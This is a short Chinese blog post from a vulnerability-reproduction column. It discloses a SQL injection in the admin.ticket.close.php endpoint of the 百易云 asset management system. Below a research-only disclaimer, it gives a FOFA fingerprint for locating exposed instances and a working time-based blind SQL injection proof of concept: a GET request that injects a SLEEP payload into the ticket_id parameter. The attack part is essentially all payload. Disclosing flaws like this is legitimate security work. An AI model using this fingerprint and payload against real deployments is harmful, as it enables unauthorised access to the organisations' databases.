百易云资产管理系统admin.ticket.close.php存在SQL注入

Sword-heart

于 2025-05-23 13:03:05 发布

阅读量232

点赞数 3

CC 4.0 BY-SA版权

分类专栏：漏洞复现文章标签：安全 web安全漏洞复现漏洞利用网络安全渗透测试漏洞库

本文链接：https://blog.csdn.net/jd_cx/article/details/148164611

漏洞复现专栏收录该内容

181 篇文章

订阅专栏

免责声明

本文章仅做网络安全技术研究使用！严禁用于非法犯罪行为，请严格遵守国家法律法规；请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者无关。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。

问题描述

百易云资产管理系统在admin.ticket.close.php接口下存在sql注入

fofa

body="不要着急，点此"

poc

GET /wuser/admin.ticket.close.php?ticket_id=1%20AND%20(SELECT%206941%20FROM%20(SELECT(SLEEP(2)))OKTO) HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close